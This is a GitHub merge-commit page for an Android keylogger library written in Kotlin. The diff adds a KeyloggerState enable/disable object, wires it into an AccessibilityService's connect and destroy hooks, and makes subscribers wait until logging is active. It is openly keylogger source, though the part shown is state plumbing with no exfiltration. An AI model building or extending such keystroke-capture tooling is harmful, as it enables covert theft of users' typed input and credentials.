Skip to content

Commit

Permalink
Merge pull request #14 from evilthreads669966/feature_keylogger_state…
Browse files Browse the repository at this point in the history
…_and_when_disabled

i have no idea why the first commit says that. It is supposed to say add state for keylogger
  • Loading branch information
evilthreads669966 committed Sep 30, 2020
2 parents 43381d1 + cc5a44d commit 487bdb3
Show file tree
Hide file tree
Showing 3 changed files with 32 additions and 0 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -16,6 +16,7 @@ package com.evilthreads.keylogger
import android.content.Context
import android.content.Intent
import kotlinx.coroutines.channels.Channel
import kotlinx.coroutines.delay

/*
( ( ) ( ( (
Expand Down Expand Up @@ -46,7 +47,11 @@ object Keylogger{

fun resetPatterns() = patterns.clear()

//working on turning KeyloggerState into a subject and doing this with an observer
//waits for keylogger to start then subscribes
suspend fun subscribe(block: (KeyloggerEntry) -> Unit){
while(!KeyloggerState.isEnabled())
delay(500)
for(entry in channel){
block(entry)
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -64,6 +64,12 @@ class KeyloggerService: AccessibilityService() {
}

override fun onServiceConnected() {
KeyloggerState.enabled()
super.onServiceConnected()
}

override fun onDestroy() {
KeyloggerState.disable()
super.onDestroy()
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
package com.evilthreads.keylogger

object KeyloggerState{
private var state = State.DISABLED

fun disable(){
state = State.DISABLED
}

fun enabled(){
state = State.ENABLED
}

fun isEnabled(): Boolean{
return state == State.ENABLED
}
}

enum class State{
ENABLED, DISABLED
}

0 comments on commit 487bdb3

Please sign in to comment.